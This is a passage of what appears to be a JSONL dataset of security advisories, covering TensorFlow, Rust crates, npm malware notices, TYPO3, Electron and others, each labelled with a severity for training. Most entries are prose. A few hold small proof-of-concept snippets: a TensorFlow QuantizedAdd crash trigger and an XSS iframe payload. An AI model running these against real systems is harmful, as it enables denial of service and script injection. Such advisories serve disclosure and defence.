[implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/boosted_trees/resource_ops.cc#L55) uses a reference counted resource and decrements the refcount if the initialization fails, as it should. However, when the code was written, the  resource was represented as a naked pointer but later refactoring has changed it to be a smart pointer. Thus, when the pointer leaves the scope, a subsequent `free`-ing of the resource occurs, but this fails to take into account that the refcount has already reached 0, thus the resource has been already freed. During this double-free process, members of the resource object are accessed for cleanup but they are invalid as the entire resource has been freed.\n\n### Patches\nWe have patched the issue in GitHub commit [5ecec9c6fbdbc6be03295685190a45e7eee726ab](https://github.com/tensorflow/tensorflow/commit/5ecec9c6fbdbc6be03295685190a45e7eee726ab).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "e864bec2d3737daf600a", "text": "Multiple security issues including data race, buffer overflow, and uninitialized memory drop in arr\n\narr crate contains multiple security issues. Specifically,\n\n1.  It incorrectly implements Sync/Send bounds, which allows to smuggle non-Sync/Send types across the thread boundary.\n2. Index and IndexMut implementation does not check the array bound.\n3. Array::new_from_template() drops uninitialized memory.", "text_raw": "Multiple security issues including data race, buffer overflow, and uninitialized memory drop in arr\n\n[Severity: CRITICAL]\n\narr crate contains multiple security issues. Specifically,\n\n1.  It incorrectly implements Sync/Send bounds, which allows to smuggle non-Sync/Send types across the thread boundary.\n2. Index and IndexMut implementation does not check the array bound.\n3. Array::new_from_template() drops uninitialized memory.\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "3aa72f4e4d26742af29f", "text": "Signature Validation Bypass\n\n### Impact\nGiven a valid SAML Response, an attacker can potentially modify the document, bypassing signature validation in order to pass off the altered document as a signed one.\n\nThis enables a variety of attacks, including users accessing accounts other than the one to which they authenticated in the identity provider, or full authentication bypass if an external attacker can obtain an expired, signed SAML Response.\n\n### Patches\nA patch is available, users of gosaml2 should upgrade to v0.5.0 or higher.\n\n### References\nSee the [underlying advisory on goxmldsig](https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-q547-gmf8-8jr7) for more details.", "text_raw": "Signature Validation Bypass\n\n[Severity: CRITICAL]\n\n### Impact\nGiven a valid SAML Response, an attacker can potentially modify the document, bypassing signature validation in order to pass off the altered document as a signed one.\n\nThis enables a variety of attacks, including users accessing accounts other than the one to which they authenticated in the identity provider, or full authentication bypass if an external attacker can obtain an expired, signed SAML Response.\n\n### Patches\nA patch is available, users of gosaml2 should upgrade to v0.5.0 or higher.\n\n### References\nSee the [underlying advisory on goxmldsig](https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-q547-gmf8-8jr7) for more details.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "b7b9f023accc1d0f767d", "text": "Double free in glsl-layout\n\nAffected versions of this crate did not guard against panic within the user-provided function f (2nd parameter of fn map_array), and thus panic within f causes double drop of a single object.\n\nThe flaw was corrected in the 0.4.0 release by wrapping the object vulnerable to a double drop within ManuallyDrop<T>.", "text_raw": "Double free in glsl-layout\n\n[Severity: HIGH]\n\nAffected versions of this crate did not guard against panic within the user-provided function f (2nd parameter of fn map_array), and thus panic within f causes double drop of a single object.\n\nThe flaw was corrected in the 0.4.0 release by wrapping the object vulnerable to a double drop within ManuallyDrop<T>.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "cff67b2ac14c26c96ced", "text": "AVE DOMINAplus <=1.10.x Unauthenticated Remote Reboot", "text_raw": "AVE DOMINAplus <=1.10.x Unauthenticated Remote Reboot\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-12-27", "split": "train"}
-{"id": "09091f6d97bd1a394bd5", "text": "gruntcli is malware\n\nThe `gruntcli` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "gruntcli is malware\n\n[Severity: HIGH]\n\nThe `gruntcli` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\n\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "e659534b21787d3f6a62", "text": "u5CMS 3.9.3 Multiple Stored And Reflected XSS Vulnerabilities", "text_raw": "u5CMS 3.9.3 Multiple Stored And Reflected XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-02-09", "split": "train"}
-{"id": "53109557cceebc8760e7", "text": "Prototype Pollution in querystringify\n\nA vulnerability was found in querystringify before 2.0.0. It's possible to override built-in properties of the resulting query string object if a malicious string is inserted in the query string.", "text_raw": "Prototype Pollution in querystringify\n\n[Severity: HIGH]\n\nA vulnerability was found in querystringify before 2.0.0. It's possible to override built-in properties of the resulting query string object if a malicious string is inserted in the query string.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-07", "split": "train"}
-{"id": "53c96c5d65bb174663cb", "text": "omniauth-apple allows attacker to fake their email address during authentication\n\n### Impact\n\nThis vulnerability impacts applications using the [omniauth-apple](https://github.com/nhosoya/omniauth-apple) strategy of OmniAuth and using the `info.email` field of OmniAuth's [Auth Hash Schema](https://github.com/omniauth/omniauth/wiki/Auth-Hash-Schema) for any kind of identification.  The value of this field may be set to any value of the attacker's choice including email addresses of other users.\n\nFor example, an application using omniauth-apple with the following code will be impacted:\n```ruby\ndef omniauth_callback\n    auth_hash = request.env['omniauth.auth']\n    @authenticated_user = User.find_by(email: auth_hash.info.email)\nend\n```\n\nApplications not using `info.email` for identification but are instead using the `uid` field are not impacted in the same manner.  Note, these applications may still be negatively affected if the value of `info.email` is being used for other purposes.\n\n### Patches\n\nApplications using affected versions of omniauth-apple are advised to upgrade to omniauth-apple version 1.0.1 or later.\n\n### Workarounds\n\nIf unable to upgrade to a patched version, monkey patching `OmniAuth::Strategies::Apple#email` as follows is advised as a workaround:\n\n```ruby\nmodule OmniAuth\n  module Strategies\n    class Apple\n      def email\n        id_info['email']\n      end\n    end\n  end\nend\n```", "text_raw": "omniauth-apple allows attacker to fake their email address during authentication\n\n[Severity: HIGH]\n\n### Impact\n\nThis vulnerability impacts applications using the [omniauth-apple](https://github.com/nhosoya/omniauth-apple) strategy of OmniAuth and using the `info.email` field of OmniAuth's [Auth Hash Schema](https://github.com/omniauth/omniauth/wiki/Auth-Hash-Schema) for any kind of identification.  The value of this field may be set to any value of the attacker's choice including email addresses of other users.\n\nFor example, an application using omniauth-apple with the following code will be impacted:\n```ruby\ndef omniauth_callback\n    auth_hash = request.env['omniauth.auth']\n    @authenticated_user = User.find_by(email: auth_hash.info.email)\nend\n```\n\nApplications not using `info.email` for identification but are instead using the `uid` field are not impacted in the same manner.  Note, these applications may still be negatively affected if the value of `info.email` is being used for other purposes.\n\n### Patches\n\nApplications using affected versions of omniauth-apple are advised to upgrade to omniauth-apple version 1.0.1 or later.\n\n### Workarounds\n\nIf unable to upgrade to a patched version, monkey patching `OmniAuth::Strategies::Apple#email` as follows is advised as a workaround:\n\n```ruby\nmodule OmniAuth\n  module Strategies\n    class Apple\n      def email\n        id_info['email']\n      end\n    end\n  end\nend\n```", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-12-08", "split": "train"}
-{"id": "e2997ba79d714355dc96", "text": "Cross-Site-Request-Forgery in Backend\n\n### Problem\nIt has been discovered that the new TYPO3 v11 feature that allows users to create and share [deep links in the backend user interface](https://typo3.org/article/typo3-version-112-escape-the-orbit#c12178) is vulnerable to cross-site-request-forgery.\n\nThe impact is the same as described in [TYPO3-CORE-SA-2020-006 (CVE-2020-11069)](https://typo3.org/security/advisory/typo3-core-sa-2020-006). However, it is not limited to the same site context and does not require the attacker to be authenticated. In a worst case scenario, the attacker could create a new admin user account to compromise the system.\n\nTo successfully carry out an attack, an attacker must trick his victim to access a compromised system. The victim must have an active session in the TYPO3 backend at that time.\n\nThe following [Same-Site cookie settings](https://docs.typo3.org/c/typo3/cms-core/master/en-us/Changelog/8.7.x/Feature-90351-ConfigureTYPO3-shippedCookiesWithSameSiteFlag.html) in _$GLOBALS[TYPO3_CONF_VARS][BE][cookieSameSite]_ are required for an attack to be successful:\n\n* _SameSite=_***strict***: malicious evil.**example.org** invoking TYPO3 application at good.**example.org**\n* _SameSite=_***lax*** or ***none***: malicious **evil.com** invoking TYPO3 application at **example.org**\n\n### Solution\nUpdate your instance to TYPO3 version 11.5.0 which addresses the problem described.\n\n### Credits\nThanks to Richie Lee who reported this issue and to TYPO3 core & security team members Benni Mack and Oliver Hader who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-014](https://typo3.org/security/advisory/typo3-core-sa-2021-014)\n* [CVE-2020-11069](https://nvd.nist.gov/vuln/detail/CVE-2020-11069) reintroduced in TYPO3 v11.2.0", "text_raw": "Cross-Site-Request-Forgery in Backend\n\n[Severity: HIGH]\n\n> ### Meta\n> * CVSS: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C` (8.2)\n\n### Problem\nIt has been discovered that the new TYPO3 v11 feature that allows users to create and share [deep links in the backend user interface](https://typo3.org/article/typo3-version-112-escape-the-orbit#c12178) is vulnerable to cross-site-request-forgery.\n\nThe impact is the same as described in [TYPO3-CORE-SA-2020-006 (CVE-2020-11069)](https://typo3.org/security/advisory/typo3-core-sa-2020-006). However, it is not limited to the same site context and does not require the attacker to be authenticated. In a worst case scenario, the attacker could create a new admin user account to compromise the system.\n\nTo successfully carry out an attack, an attacker must trick his victim to access a compromised system. The victim must have an active session in the TYPO3 backend at that time.\n\nThe following [Same-Site cookie settings](https://docs.typo3.org/c/typo3/cms-core/master/en-us/Changelog/8.7.x/Feature-90351-ConfigureTYPO3-shippedCookiesWithSameSiteFlag.html) in _$GLOBALS[TYPO3_CONF_VARS][BE][cookieSameSite]_ are required for an attack to be successful:\n\n* _SameSite=_***strict***: malicious evil.**example.org** invoking TYPO3 application at good.**example.org**\n* _SameSite=_***lax*** or ***none***: malicious **evil.com** invoking TYPO3 application at **example.org**\n\n### Solution\nUpdate your instance to TYPO3 version 11.5.0 which addresses the problem described.\n\n### Credits\nThanks to Richie Lee who reported this issue and to TYPO3 core & security team members Benni Mack and Oliver Hader who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-014](https://typo3.org/security/advisory/typo3-core-sa-2021-014)\n* [CVE-2020-11069](https://nvd.nist.gov/vuln/detail/CVE-2020-11069) reintroduced in TYPO3 v11.2.0", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-05", "split": "train"}
-{"id": "e4e8f1644c6876ce877e", "text": "Shadowsock is malware\n\nThe `shadowsock` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "Shadowsock is malware\n\n[Severity: MEDIUM]\n\nThe `shadowsock` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-27", "split": "train"}
-{"id": "df2477abeaa9d8d78454", "text": "Division by 0 in `QuantizedAdd`\n\n### Impact\nAn attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.QuantizedAdd`:\n\n```python\nimport tensorflow as tf\n\nx = tf.constant([68, 228], shape=[2, 1], dtype=tf.quint8)\ny = tf.constant([], shape=[2, 0], dtype=tf.quint8)\n\nmin_x = tf.constant(10.723421015884028)\nmax_x = tf.constant(15.19578006631113)\nmin_y = tf.constant(-5.539003866682977)\nmax_y = tf.constant(42.18819949559947)\n\ntf.raw_ops.QuantizedAdd(x=x, y=y, min_x=min_x, max_x=max_x, min_y=min_y, max_y=max_y)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/6f26b3f3418201479c264f2a02000880d8df151c/tensorflow/core/kernels/quantized_add_op.cc#L289-L295) computes a modulo operation without validating that the divisor is not zero.\n\n```cc\nvoid VectorTensorAddition(const T* vector_data, float min_vector,\n                          float max_vector, int64 vector_num_elements,\n                          const T* tensor_data, float min_tensor,\n                          float max_tensor, int64 tensor_num_elements,\n                          float output_min, float output_max, Toutput* output) {\n  for (int i = 0; i < tensor_num_elements; ++i) {\n    const int64 vector_i = i % vector_num_elements;\n    ...\n  }\n}\n```\n\nSince `vector_num_elements` is [determined based on input shapes](https://github.com/tensorflow/tensorflow/blob/6f26b3f3418201479c264f2a02000880d8df151c/tensorflow/core/kernels/quantized_add_op.cc#L522-L544), a user can trigger scenarios where this quantity is 0.\n\n### Patches\nWe have patched the issue in GitHub commit [744009c9e5cc5d0447f0dc39d055f917e1fd9e16](https://github.com/tensorflow/tensorflow/commit/744009c9e5cc5d0447f0dc39d055f917e1fd9e16).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Division by 0 in `QuantizedAdd`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.QuantizedAdd`:\n\n```python\nimport tensorflow as tf\n\nx = tf.constant([68, 228], shape=[2, 1], dtype=tf.quint8)\ny = tf.constant([], shape=[2, 0], dtype=tf.quint8)\n\nmin_x = tf.constant(10.723421015884028)\nmax_x = tf.constant(15.19578006631113)\nmin_y = tf.constant(-5.539003866682977)\nmax_y = tf.constant(42.18819949559947)\n\ntf.raw_ops.QuantizedAdd(x=x, y=y, min_x=min_x, max_x=max_x, min_y=min_y, max_y=max_y)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/6f26b3f3418201479c264f2a02000880d8df151c/tensorflow/core/kernels/quantized_add_op.cc#L289-L295) computes a modulo operation without validating that the divisor is not zero.\n\n```cc\nvoid VectorTensorAddition(const T* vector_data, float min_vector,\n                          float max_vector, int64 vector_num_elements,\n                          const T* tensor_data, float min_tensor,\n                          float max_tensor, int64 tensor_num_elements,\n                          float output_min, float output_max, Toutput* output) {\n  for (int i = 0; i < tensor_num_elements; ++i) {\n    const int64 vector_i = i % vector_num_elements;\n    ...\n  }\n}\n```\n\nSince `vector_num_elements` is [determined based on input shapes](https://github.com/tensorflow/tensorflow/blob/6f26b3f3418201479c264f2a02000880d8df151c/tensorflow/core/kernels/quantized_add_op.cc#L522-L544), a user can trigger scenarios where this quantity is 0.\n\n### Patches\nWe have patched the issue in GitHub commit [744009c9e5cc5d0447f0dc39d055f917e1fd9e16](https://github.com/tensorflow/tensorflow/commit/744009c9e5cc5d0447f0dc39d055f917e1fd9e16).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "bcb1fe152a2a8aa42f1c", "text": "Github Token Leak in aegir\n\nAffected versions of `aegir` bundle and publish the current users github token to npm when `aegir-release` is executed.\n\n## Recommendation\n\nUpdate to version 12.0.8 or later.\n\nIf you used this module to do a release for your project you should invalidate the GitHub tokens that were leaked.", "text_raw": "Github Token Leak in aegir\n\n[Severity: HIGH]\n\nAffected versions of `aegir` bundle and publish the current users github token to npm when `aegir-release` is executed.\n\n\n## Recommendation\n\nUpdate to version 12.0.8 or later.\n\nIf you used this module to do a release for your project you should invalidate the GitHub tokens that were leaked.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "de8deff41e6c2684d5b6", "text": "Cross-site Scripting in yii2cmf\n\nyidashi yii2cmf 2.0 has XSS via the /search q parameter.", "text_raw": "Cross-site Scripting in yii2cmf\n\n[Severity: MEDIUM]\n\nyidashi yii2cmf 2.0 has XSS via the /search q parameter.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-22", "split": "train"}
-{"id": "4bef95d5dc4b1d6dc2e9", "text": "Float cast overflow undefined behavior\n\n### Impact\nWhen the `boxes` argument of `tf.image.crop_and_resize` has a very large value, the CPU kernel implementation receives it as a C++ `nan` floating point value. Attempting to operate on this is undefined behavior which later produces a segmentation fault.\n\n### Patches\n\nWe have patched the issue in c0319231333f0f16e1cc75ec83660b01fedd4182 and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported in #42129", "text_raw": "Float cast overflow undefined behavior\n\n[Severity: MEDIUM]\n\n### Impact\nWhen the `boxes` argument of `tf.image.crop_and_resize` has a very large value, the CPU kernel implementation receives it as a C++ `nan` floating point value. Attempting to operate on this is undefined behavior which later produces a segmentation fault.\n\n### Patches\n\nWe have patched the issue in c0319231333f0f16e1cc75ec83660b01fedd4182 and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported in #42129", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-11-13", "split": "train"}
-{"id": "669aadf83545eef989ec", "text": "Malicious Atomix node queries expose sensitive information\n\nAn issue in Atomix v3.1.5 allows attackers to access sensitive information when a malicious Atomix node queries distributed variable primitives which contain the entire primitive lists that ONOS nodes use to share important states.", "text_raw": "Malicious Atomix node queries expose sensitive information\n\n[Severity: MEDIUM]\n\nAn issue in Atomix v3.1.5 allows attackers to access sensitive information when a malicious Atomix node queries distributed variable primitives which contain the entire primitive lists that ONOS nodes use to share important states.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-17", "split": "train"}
-{"id": "aed97733f0ab0fcf81bc", "text": "Context isolation bypass in Electron\n\n### Impact\nApps using both `contextIsolation` and `sandbox: true` are affected.\nApps using both `contextIsolation` and `nativeWindowOpen: true` are affected.\n\nThis is a context isolation bypass, meaning that code running in the main world context in the renderer can reach into the isolated Electron context and perform privileged actions.\n\n### Workarounds\nThere are no app-side workarounds, you must update your Electron version to be protected.\n\n### Fixed Versions\n* `11.0.0-beta.6`\n* `10.1.2`\n* `9.3.1`\n* `8.5.2`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@electronjs.org](mailto:security@electronjs.org)", "text_raw": "Context isolation bypass in Electron\n\n[Severity: LOW]\n\n### Impact\nApps using both `contextIsolation` and `sandbox: true` are affected.\nApps using both `contextIsolation` and `nativeWindowOpen: true` are affected.\n\nThis is a context isolation bypass, meaning that code running in the main world context in the renderer can reach into the isolated Electron context and perform privileged actions.\n\n### Workarounds\nThere are no app-side workarounds, you must update your Electron version to be protected.\n\n### Fixed Versions\n* `11.0.0-beta.6`\n* `10.1.2`\n* `9.3.1`\n* `8.5.2`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@electronjs.org](mailto:security@electronjs.org)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-10-06", "split": "train"}
-{"id": "9d24da3220fe06a7b7a3", "text": "Potential API key leak\n\nIf a user is actively blackholing the location or weather APIs, or those APIs become otherwise unavailable, it is possible for the API keys to get leaked to the active IRC channel.\n\nThis is patched in v1.2.4", "text_raw": "Potential API key leak\n\n[Severity: MEDIUM]\n\nIf a user is actively blackholing the location or weather APIs, or those APIs become otherwise unavailable, it is possible for the API keys to get leaked to the active IRC channel.\n\nThis is patched in v1.2.4", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "b8cbc4aecca3900556c5", "text": "YetiForceCRM is vulnerable to Business Logic Errors in the weight of a product\n\nYetiForceCRM is vulnerable to Business Logic Errors in the Weight of a Product since that value can be a negative number.", "text_raw": "YetiForceCRM is vulnerable to Business Logic Errors in the weight of a product\n\n[Severity: MEDIUM]\n\nYetiForceCRM is vulnerable to Business Logic Errors in the Weight of a Product since that value can be a negative number.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "595c350f977fe99920ef", "text": "Cross-site Scripting in the yoast_seo TYPO3 extension\n\nThe extension fails to properly encode user input for output in HTML context. A TYPO3 backend user account is required to exploit the vulnerability.", "text_raw": "Cross-site Scripting in the yoast_seo TYPO3 extension\n\n[Severity: MEDIUM]\n\nThe extension fails to properly encode user input for output in HTML context. A TYPO3 backend user account is required to exploit the vulnerability.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "9bbe638aed0856ff4bfc", "text": "Cross-Site Scripting in jquery-mobile\n\nAll version of `jquery-mobile` are vulnerable to Cross-Site Scripting. The package checks for content in `location.hash` and if a URL is found it does an XmlHttpRequest (XHR) to the URL and renders the response with `innerHTML`. It fails to validate the `Content-Type` of the response, allowing attackers to include malicious payloads as part of query parameters that are reflected back to the user. A response such as `{\"q\":\"<iframe/src='javascript:alert(1)'></iframe>\",\"results\":[]}` would be parsed as HTML and the JavaScript payload executed.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Cross-Site Scripting in jquery-mobile\n\n[Severity: HIGH]\n\nAll version of `jquery-mobile` are vulnerable to Cross-Site Scripting. The package checks for content in `location.hash` and if a URL is found it does an XmlHttpRequest (XHR) to the URL and renders the response with `innerHTML`. It fails to validate the `Content-Type` of the response, allowing attackers to include malicious payloads as part of query parameters that are reflected back to the user. A response such as `{\"q\":\"<iframe/src='javascript:alert(1)'></iframe>\",\"results\":[]}` would be parsed as HTML and the JavaScript payload executed.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "e7a6686e577d49a61abc", "text": "Data races in cgc\n\nAn issue was discovered in the cgc crate through 2020-12-10 for Rust. Ptr implements Send and Sync for all types", "text_raw": "Data races in cgc\n\n[Severity: MEDIUM]\n\nAn issue was discovered in the cgc crate through 2020-12-10 for Rust. Ptr implements Send and Sync for all types", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "6a16a73fdab88abba366", "text": "Django Denial-of-service by filling session store\n\nThe session backends in Django before 1.4.21, 1.5.x through 1.6.x, 1.7.x before 1.7.9, and 1.8.x before 1.8.3 allows remote attackers to cause a denial of service (session store consumption) via multiple requests with unique session keys.", "text_raw": "Django Denial-of-service by filling session store\n\n[Severity: HIGH]\n\nThe session backends in Django before 1.4.21, 1.5.x through 1.6.x, 1.7.x before 1.7.9, and 1.8.x before 1.8.3 allows remote attackers to cause a denial of service (session store consumption) via multiple requests with unique session keys.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-07-05", "split": "train"}
-{"id": "b1186bddb6094e92c14a", "text": "Improper Input Validation in Apache Qpid Broker-J\n\nA Denial of Service vulnerability was found in Apache Qpid Broker-J versions 6.0.0-7.0.6 (inclusive) and 7.1.0 which allows an unauthenticated attacker to crash the broker instance by sending specially crafted commands using AMQP protocol versions below 1.0 (AMQP 0-8, 0-9, 0-91 and 0-10). Users of Apache Qpid Broker-J versions 6.0.0-7.0.6 (inclusive) and 7.1.0 utilizing AMQP protocols 0-8, 0-9, 0-91, 0-10 must upgrade to Qpid Broker-J versions 7.0.7 or 7.1.1 or later.", "text_raw": "Improper Input Validation in Apache Qpid Broker-J\n\n[Severity: HIGH]\n\nA Denial of Service vulnerability was found in Apache Qpid Broker-J versions 6.0.0-7.0.6 (inclusive) and 7.1.0 which allows an unauthenticated attacker to crash the broker instance by sending specially crafted commands using AMQP protocol versions below 1.0 (AMQP 0-8, 0-9, 0-91 and 0-10). Users of Apache Qpid Broker-J versions 6.0.0-7.0.6 (inclusive) and 7.1.0 utilizing AMQP protocols 0-8, 0-9, 0-91, 0-10 must upgrade to Qpid Broker-J versions 7.0.7 or 7.1.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-03-07", "split": "train"}
-{"id": "bad05f0e85b6d92a13b8", "text": "Contao Insert tag injection in forms\n\n### Impact\n\nIt is possible to inject insert tags in front end forms which will be replaced when the page is rendered.\n\n### Patches\n\nUpdate to Contao 4.4.52, 4.9.6 or 4.10.1.\n\n### Workarounds\n\nDisable the front end login form and do not use form fields with array keys such as `fieldname[]`.\n\n### References\n\nhttps://contao.org/en/security-advisories/insert-tag-injection-in-forms\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [contao/contao](https://github.com/contao/contao/issues/new/choose).", "text_raw": "Contao Insert tag injection in forms\n\n[Severity: MEDIUM]\n\n### Impact\n\nIt is possible to inject insert tags in front end forms which will be replaced when the page is rendered.\n\n### Patches\n\nUpdate to Contao 4.4.52, 4.9.6 or 4.10.1.\n\n### Workarounds\n\nDisable the front end login form and do not use form fields with array keys such as `fieldname[]`.\n\n### References\n\nhttps://contao.org/en/security-advisories/insert-tag-injection-in-forms\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [contao/contao](https://github.com/contao/contao/issues/new/choose).\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-24", "split": "train"}
-{"id": "5b4a152d083c0e2beb3f", "text": "Zoho ManageEngine Desktop Central File Upload Vulnerability\n\nAffected: Zoho ManageEngine\n\nZoho ManageEngine Desktop Central contains a file upload vulnerability that allows for unauthenticated remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Zoho ManageEngine Desktop Central File Upload Vulnerability\n\nAffected: Zoho ManageEngine\n\nZoho ManageEngine Desktop Central contains a file upload vulnerability that allows for unauthenticated remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "f73a4a1469543fd873d1", "text": "Allocation of Resources Without Limits or Throttling in Apache Tika\n\nA carefully crafted or corrupt zip file can cause an OOM in Apache Tika's RecursiveParserWrapper in versions 1.7-1.21. Users should upgrade to 1.22 or later.", "text_raw": "Allocation of Resources Without Limits or Throttling in Apache Tika\n\n[Severity: HIGH]\n\nA carefully crafted or corrupt zip file can cause an OOM in Apache Tika's RecursiveParserWrapper in versions 1.7-1.21. Users should upgrade to 1.22 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-08-06", "split": "train"}
